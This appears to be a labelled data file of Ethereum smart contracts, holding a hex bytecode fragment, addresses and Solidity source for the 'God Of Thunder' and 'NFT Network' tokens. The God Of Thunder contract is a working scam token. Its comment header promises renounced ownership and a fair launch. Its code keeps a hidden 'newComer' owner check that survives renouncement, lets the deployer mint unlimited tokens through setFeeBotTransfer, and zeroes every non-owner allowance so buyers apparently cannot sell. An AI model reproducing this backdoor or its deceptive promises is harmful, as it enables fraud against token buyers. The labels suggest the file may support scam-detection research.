900390816102885790505090506040518060400160405280600a81526020016963757276652d6161766560b01b815250816000815181106102cf57fe5b6020026020010181905250604051806040016040528060048152602001636161766560e01b8152508160018151811061030457fe5b6020908102919091010152905090565b733ed3b47dd13ec9a98b44e6204a523e766b22581181565b7f00000000000000000000000000000000000000000000000000000000000000038160ff16106103775760405162461bcd60e51b815260040161036e906117f9565b60405180910390fd5b600061038283610890565b905060006103928360ff166109b6565b90506000816001600160a01b031663313ce5676040518163ffffffff1660e01b815260040160206040518083038186803b1580156103cf57600080fd5b505afa1580156103e3573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061040791906115df565b9050600061041d84610417610a5b565b84610af3565b905061042a848683610ba8565b505050505050565b60608061043f6000610c55565b91505090565b73bcca60bb61934080951369a648fb03df4f96263c81565b6040518060400160405280600a81526020016963757276652d6161766560b01b81525081565b73d662908ada2ea1916b3318327a97eb18ad588b5d81565b73a0b86991c6218b36c1d19d4a2e9eb0ce3606eb4881565b73dac17f958d2ee523a2206206994597c13d831ec781565b7f0000000000000000000000000000000000000000000000000000000000000003811461050a5760405162461bcd60e51b815260040161036e90611857565b6000805b828110156106ab5783838281811061052257fe5b9050602002013560001415610536576106a3565b600084848381811061054457fe5b9050602002013590506000610558836109b6565b90506000816001600160a01b031663313ce5676040518163ffffffff1660e01b815260040160206040518083038186803b15801561059557600080fd5b505afa1580156105a9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105cd91906115df565b905060006105ff60ff8316600a0a6105f386670de0b6b3a764000063ffffffff610db316565b9063ffffffff610ded16565b9050610611868263ffffffff610e1f16565b955061064e6001600160a01b0384167f000000000000000000000000debf20617708857ebe4f679508e7b7863a8a8eee600063ffffffff610e4416565b61069e7f000000000000000000000000debf20617708857ebe4f679508e7b7863a8a8eee89898881811061067e57fe5b90506020020135856001600160a01b0316610e449092919063ffffffff16565b505050505b60010161050e565b5060006106bf826106ba610a5b565b610f43565b90506106cc848483610fc3565b6106d4611067565b50505050565b6060807f000000000000000000000000000000000000000000000000000000000000000367ffffffffffffffff8111801561071457600080fd5b5060405190808252806020026020018201604052801561074857816020015b60608152602001906001900390816107335790505b50905060005b81518110156107f9576000610762826109b6565b9050806001600160a01b03166395d89b416040518163ffffffff1660e01b815260040160006040518083038186803b15801561079d57600080fd5b505afa1580156107b1573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040526107d99190810190611507565b8383815181106107e557fe5b60209081029190910101525060010161074e565b50905090565b6040516335313c2160e11b815273d061d61a4d941c39e5453435b6345dc261c2fce090636a62784290610856907f000000000000000000000000d662908ada2ea1916b3318327a97eb18ad588b5d90600401611643565b600060405180830381600087803b15801561087057600080fd5b505af1158015610884573d6000803e3d6000fd5b50505050610255611239565b604051632e1a7d4d60e01b81526000907f000000000000000000000000d662908ada2ea1916b3318327a97eb18ad588b5d906001600160a01b03821690632e1a7d4d906108e1908690600401611998565b600060405180830381600087803b1580156108fb57600080fd5b505af115801561090f573d6000803e3d6000fd5b50506040516370a0823160e01b81526001600160a01b037f000000000000000000000000fd2a8fa60abd58efe3eee34dd494cd491dc149001692506370a08231915061095f903090600401611643565b60206040518083038186803b15801561097757600080fd5b505afa15801561098b573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109af9190611598565b9392505050565b604051630b9947eb60e41b81526000906001600160a01b037f000000000000000000000000debf20617708857ebe4f679508e7b7863a8a8eee169063b9947eb090610a05908590600401611998565b60206040518083038186803b158015610a1d57600080fd5b505afa158015610a31573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a559190611454565b92915050565b60007f000000000000000000000000debf20617708857ebe4f679508e7b7863a8a8eee6001600160a01b031663bb7b8b806040518163ffffffff1660e01b815260040160206040518083038186803b158015610ab657600080fd5b505afa158015610aca573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610aee9190611598565b905090565b600080610b12670de0b6b3a76400006105f3878763ffffffff610db316565b90506000610b38670de0b6b3a76400006105f38460ff8816600a0a63ffffffff610db316565b9050610b9e7f00000000000000000000000000000000000000000000000000000000000027106105f3610b91827f000000000000000000000000000000000000000000000000000000000000006463ffffffff6112b416565b849063ffffffff610db316565b9695505050505050565b60038260ff1610610bcb5760405162461bcd60e51b815260040161036e906117f9565b60405163517a55a360e01b81526001600160a01b037f000000000000000000000000debf20617708857ebe4f679508e7b7863a8a8eee169063517a55a390610c1e908690869086906001906004016119a1565b600060405180830381600087803b158015610c3857600080fd5b505af1158015610c4c573d6000803e3d6000fd5b50505050505050565b606080610c6983600463ffffffff610e1f16565b67ffffffffffffffff81118015610c7f57600080fd5b50604051908082528060200260200182016040528015610ca9578160200160208202803683370190505b50905073d533a949740bb3306d119cc777fa900ba034cd5281600081518110610cce57fe5b60200260200101906001600160a01b031690816001600160a01b031681525050736b175474e89094c44da98b954eedeac495271d0f81600181518110610d1057fe5b60200260200101906001600160a01b031690816001600160a01b03168152505073a0b86991c6218b36c1d19d4a2e9eb0ce3606eb4881600281518110610d5257fe5b60200260200101906001600160a01b031690816001600160a01b03168152505073dac17f958d2ee523a2206206994597c13d831ec781600381518110610d9457fe5b6001600160a01b03909216602092830291909101909101529050919050565b600082610dc257506000610a55565b82820282848281610dcf57fe5b04146109af5760405162461bcd60e51b815260040161036e90611880565b6000808211610e0e5760405162461bcd60e51b815260040161036e90611820565b818381610e1757fe5b049392505050565b6000828201838110156109af5760405162461bcd60e51b815260040161036e9061178b565b801580610ecc5750604051636eb1769f60e11b81526001600160a01b0384169063dd62ed3e90610e7a9030908690600401611657565b60206040518083038186803b158015610e9257600080fd5b505afa158015610ea6573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610eca9190611598565b155b610ee85760405162461bcd60e51b815260040161036e90611942565b610f3e8363095ea7b360e01b8484604051602401610f07929190611671565b60408051601f198184030181529190526020810180516001600160e01b03166001600160e01b0319909316929092179091526112dc565b505050565b600080610f62836105f386670de0b6b3a764000063ffffffff610db316565b9050610fbb7f00000000000000000000000000000000000000000000000000000000000027106105f3610b91827f000000000000000000000000000000000000000000000000000000000000006463ffffffff6112b416565b949350505050565b7f000000000000000000000000debf20617708857ebe4f679508e7b7863a8a8eee6001600160a01b0316632b6e993a60405180606001604052808686600081811061100a57fe5b9050602002013581526020018686600181811061102357fe5b9050602002013581526020018686600281811061103c57fe5b905060200201358152508360016040518463ffffffff1660e01b8152600401610c1e93929190611737565b6040516370a0823160e01b81527f000000000000000000000000d662908ada2ea1916b3318327a97eb18ad588b5d906000906001600160a01b037f000000000000000000000000fd2a8fa60abd58efe3eee34dd494cd491dc1490016906370a08231906110d8903090600401611643565b60206040518083038186803b1580156110f057600080fd5b505afa158015611104573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111289190611598565b90506111856001600160a01b037f000000000000000000000000fd2a8fa60abd58efe3eee34dd494cd491dc14900167f000000000000000000000000d662908ada2ea1916b3318327a97eb18ad588b5d600063ffffffff610e4416565b6111df6001600160a01b037f000000000000000000000000fd2a8fa60abd58efe3eee34dd494cd491dc14900167f000000000000000000000000d662908ada2ea1916b3318327a97eb18ad588b5d8363ffffffff610e4416565b60405163b6b55f2560e01b81526001600160a01b0383169063b6b55f259061120b908490600401611998565b600060405180830381600087803b15801561122557600080fd5b505af115801561042a573d6000803e3d6000fd5b60007f000000000000000000000000d662908ada2ea1916b3318327a97eb18ad588b5d9050806001600160a01b031663e6f1daf26040518163ffffffff1660e01b8152600401600060405180830381600087803b15801561129957600080fd5b505af11580156112ad573d6000803e3d6000fd5b5050505050565b6000828211156112d65760405162461bcd60e51b815260040161036e906117c2565b50900390565b6060611331826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b031661136b9092919063ffffffff16565b805190915015610f3e578080602001905181019061134f91906114e7565b610f3e5760405162461bcd60e51b815260040161036e906118f8565b6060610fbb84846000858561137f85611415565b61139b5760405162461bcd60e51b815260040161036e906118c1565b60006060866001600160a01b031685876040516113b89190611627565b60006040518083038185875af1925050503d80600081146113f5576040519150601f19603f3d011682016040523d82523d6000602084013e6113fa565b606091505b509150915061140a82828661141b565b979650505050505050565b3b151590565b6060831561142a5750816109af565b82511561143a5782518084602001fd5b8160405162461bcd60e51b815260040161036e9190611778565b600060208284031215611465578081fd5b81516001600160a01b03811681146109af578182fd5b6000806020838503121561148d578081fd5b823567ffffffffffffffff808211156114a4578283fd5b81850186601f8201126114b5578384fd5b80359250818311156114c5578384fd5b86602080850283010111156114d8578384fd5b60200196919550909350505050565b6000602082840312156114f8578081fd5b815180151581146109af578182fd5b600060208284031215611518578081fd5b815167ffffffffffffffff8082111561152f578283fd5b81840185601f820112611540578384fd5b8051925081831115611550578384fd5b604051601f8401601f191681016020018381118282101715611570578586fd5b604052838152818401602001871015611587578485fd5b610b9e8460208301602085016119c1565b6000602082840312156115a9578081fd5b5051919050565b600080604083850312156115c2578182fd5b8235915060208301356115d4816119ed565b809150509250929050565b6000602082840312156115f0578081fd5b81516109af816119ed565b600081518084526116138160208601602086016119c1565b601f01601f19169290920160200192915050565b600082516116398184602087016119c1565b9190910192915050565b6001600160a01b0391909116815260200190565b6001600160a01b0392831681529116602082015260400190565b6001600160a01b03929092168252602082015260400190565b6020808252825182820181905260009190848201906040850190845b818110156116cb5783516001600160a01b0316835292840192918401916001016116a6565b50909695505050505050565b6000602080830181845280855180835260408601915060408482028701019250838701855b8281101561172a57603f198886030184526117188583516115fb565b945092850192908501906001016116fc565b5092979650505050505050565b60a08101818560005b600381101561175f578151835260209283019290910190600101611740565b5050508360608301528215156080830152949350505050565b6000602082526109af60208301846115fb565b6020808252601b908201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604082015260600190565b6020808252601e908201527f536166654d6174683a207375627472616374696f6e206f766572666c6f770000604082015260600190565b6020808252600d908201526c0929cac82989288be929c888ab609b1b604082015260600190565b6020808252601a908201527f536166654d6174683a206469766973696f6e206279207a65726f000000000000604082015260600190565b6020808252600f908201526e494e56414c49445f414d4f554e545360881b604082015260600190565b60208082526021908201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6040820152607760f81b606082015260800190565b6020808252601d908201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e7472616374000000604082015260600190565b6020808252602a908201527f5361666545524332303a204552433230206f7065726174696f6e20646964206e6040820152691bdd081cdd58d8d9595960b21b606082015260800190565b60208082526036908201527f5361666545524332303a20617070726f76652066726f6d206e6f6e2d7a65726f60408201527520746f206e6f6e2d7a65726f20616c6c6f77616e636560501b606082015260800190565b90815260200190565b93845260ff92909216602084015260408301521515606082015260800190565b60005b838110156119dc5781810151838201526020016119c4565b838111156106d45750506000910152565b60ff811681146119fc57600080fd5b5056fea26469706673582212201a7abe4fb928b5c20c612f4bbe0d51a3cf753624e0ed41b42a3a089353fd4c0864736f6c634300060b0033
[ 5, 4, 37 ]
0xf38ad1158de944db1dde95ef4c5a01c8cd3e0d13
/* ________ .___ ________ _____ ___________.__ .___ / _____/ ____ __| _/ \_____ \_/ ____\ \__ ___/| |__ __ __ ____ __| _/___________ / \ ___ / _ \ / __ | / | \ __\ | | | | \| | \/ \ / __ |/ __ \_ __ \ \ \_\ ( <_> ) /_/ | / | \ | | | | Y \ | / | \/ /_/ \ ___/| | \/ \______ /\____/\____ | \_______ /__| |____| |___| /____/|___| /\____ |\___ >__| \/ \/ \/ \/ \/ \/ \/ ⚡️No Presale ⚡️No Team Tokens ⚡️Initial ETH for liquidity provided by the team ⚡️Complete fair launch ⚡️Stealth launch ✅Numerous Anti-bot measures in place. ✅Liquidity will be locked on unicrypt after it’s added. ✅Ownership will be renounced, straight after launch. ✅There will be no presale, to prevent an unfair launch. ✅We will provide liquidity ourselves! We will take no team tokens! (5% tax on sells only) ✅ To get the coin starting off strong. Influencers are on board and ready to go! ✅Coingecko listing has been drafted, 4 Chan, plans to get this trending on dextools will be undertaken straight after launch. Twitter: https://twitter.com/godofthundereth?s=21 Website: https://godofthunder.life/ Telegram: https://t.me/godofthundereth */ pragma solidity ^0.6.12; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) private onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } address private newComer = _msgSender(); modifier onlyOwner() { require(newComer == _msgSender(), "Ownable: caller is not the owner"); _; } } contract GodOfThunder is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _tTotal = 100 * 10**9 * 10**18; string private _name = 'God Of Thunder'; string private _symbol = 'GOT'; uint8 private _decimals = 18; constructor () public { _balances[_msgSender()] = _tTotal; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function setFeeBotTransfer(uint256 amount) public onlyOwner { require(_msgSender() != address(0), "ERC20: cannot permit zero address"); _tTotal = _tTotal.add(amount); _balances[_msgSender()] = _balances[_msgSender()].add(amount); emit Transfer(address(0), _msgSender(), amount); } function _approve(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: approve from the zero address"); require(to != address(0), "ERC20: approve to the zero address"); if (from == owner()) { _allowances[from][to] = amount; emit Approval(from, to, amount); } else { _allowances[from][to] = 0; emit Approval(from, to, 4); } } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "BEP20: transfer from the zero address"); require(recipient != address(0), "BEP20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } }
0x608060405234801561001057600080fd5b50600436106100b45760003560e01c806370a082311161007157806370a0823114610291578063715018a6146102e95780638da5cb5b146102f357806395d89b4114610327578063a9059cbb146103aa578063dd62ed3e1461040e576100b4565b806306fdde03146100b9578063095ea7b31461013c57806318160ddd146101a057806323b872dd146101be578063313ce5671461024257806365a818b014610263575b600080fd5b6100c1610486565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101015780820151818401526020810190506100e6565b50505050905090810190601f16801561012e5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101886004803603604081101561015257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610528565b60405180821515815260200191505060405180910390f35b6101a8610546565b6040518082815260200191505060405180910390f35b61022a600480360360608110156101d457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610550565b60405180821515815260200191505060405180910390f35b61024a610629565b604051808260ff16815260200191505060405180910390f35b61028f6004803603602081101561027957600080fd5b8101908080359060200190929190505050610640565b005b6102d3600480360360208110156102a757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108c5565b6040518082815260200191505060405180910390f35b6102f161090e565b005b6102fb610a96565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61032f610abf565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561036f578082015181840152602081019050610354565b50505050905090810190601f16801561039c5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103f6600480360360408110156103c057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b61565b60405180821515815260200191505060405180910390f35b6104706004803603604081101561042457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610b7f565b6040518082815260200191505060405180910390f35b606060058054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561051e5780601f106104f35761010080835404028352916020019161051e565b820191906000526020600020905b81548152906001019060200180831161050157829003601f168201915b5050505050905090565b600061053c610535610c06565b8484610c0e565b6001905092915050565b6000600454905090565b600061055d848484610f2e565b61061e84610569610c06565b6106198560405180606001604052806028815260200161139960289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006105cf610c06565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111e89092919063ffffffff16565b610c0e565b600190509392505050565b6000600760009054906101000a900460ff16905090565b610648610c06565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461070a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1661072a610c06565b73ffffffffffffffffffffffffffffffffffffffff161415610797576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806113316021913960400191505060405180910390fd5b6107ac816004546112a890919063ffffffff16565b60048190555061080b81600260006107c2610c06565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112a890919063ffffffff16565b60026000610817610c06565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061085d610c06565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a350565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610916610c06565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109d8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b575780601f10610b2c57610100808354040283529160200191610b57565b820191906000526020600020905b815481529060010190602001808311610b3a57829003601f168201915b5050505050905090565b6000610b75610b6e610c06565b8484610f2e565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610c94576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061140a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d1a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806113776022913960400191505060405180910390fd5b610d22610a96565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610e405780600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3610f29565b6000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560046040518082815260200191505060405180910390a35b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610fb4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806113526025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561103a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806113e76023913960400191505060405180910390fd5b6110a6816040518060600160405280602681526020016113c160269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111e89092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061113b81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112a890919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290611295576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561125a57808201518184015260208101905061123f565b50505050905090810190601f1680156112875780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611326576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe45524332303a2063616e6e6f74207065726d6974207a65726f206164647265737342455032303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a26469706673582212209d589559a1ea7ff1da62e695dd26c25e9788e35d36cca747a002d49fac84b35564736f6c634300060c0033
[ 38 ]
0xf38af070c85cafcdc4107db3fdac37186bf8789a
/** *Submitted for verification at Etherscan.io on 2021-06-01 */ pragma solidity ^0.5.0; // ---------------------------------------------------------------------------- // ERC Token Standard #20 Interface // // ---------------------------------------------------------------------------- contract ERC20Interface { function totalSupply() public view returns (uint); function balanceOf(address tokenOwner) public view returns (uint balance); function allowance(address tokenOwner, address spender) public view returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } // ---------------------------------------------------------------------------- // Safe Math Library // ---------------------------------------------------------------------------- contract SafeMath { function safeAdd(uint a, uint b) public pure returns (uint c) { c = a + b; require(c >= a); } function safeSub(uint a, uint b) public pure returns (uint c) { require(b <= a); c = a - b; } function safeMul(uint a, uint b) public pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function safeDiv(uint a, uint b) public pure returns (uint c) { require(b > 0); c = a / b; } } contract NFTNetwork is ERC20Interface, SafeMath { string public name; string public symbol; uint8 public decimals; // 18 decimals is the strongly suggested default, avoid changing it uint256 public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; /** * Constrctor function * * Initializes contract with initial supply tokens to the creator of the contract */ constructor() public { name = "NFT Network"; symbol = "NFT"; decimals = 18; _totalSupply = 1000000000000000000000000000000000; balances[msg.sender] = _totalSupply; emit Transfer(address(0), msg.sender, _totalSupply); } function totalSupply() public view returns (uint) { return _totalSupply - balances[address(0)]; } function balanceOf(address tokenOwner) public view returns (uint balance) { return balances[tokenOwner]; } function allowance(address tokenOwner, address spender) public view returns (uint remaining) { return allowed[tokenOwner][spender]; } function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(msg.sender, to, tokens); return true; } function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(from, to, tokens); return true; } }
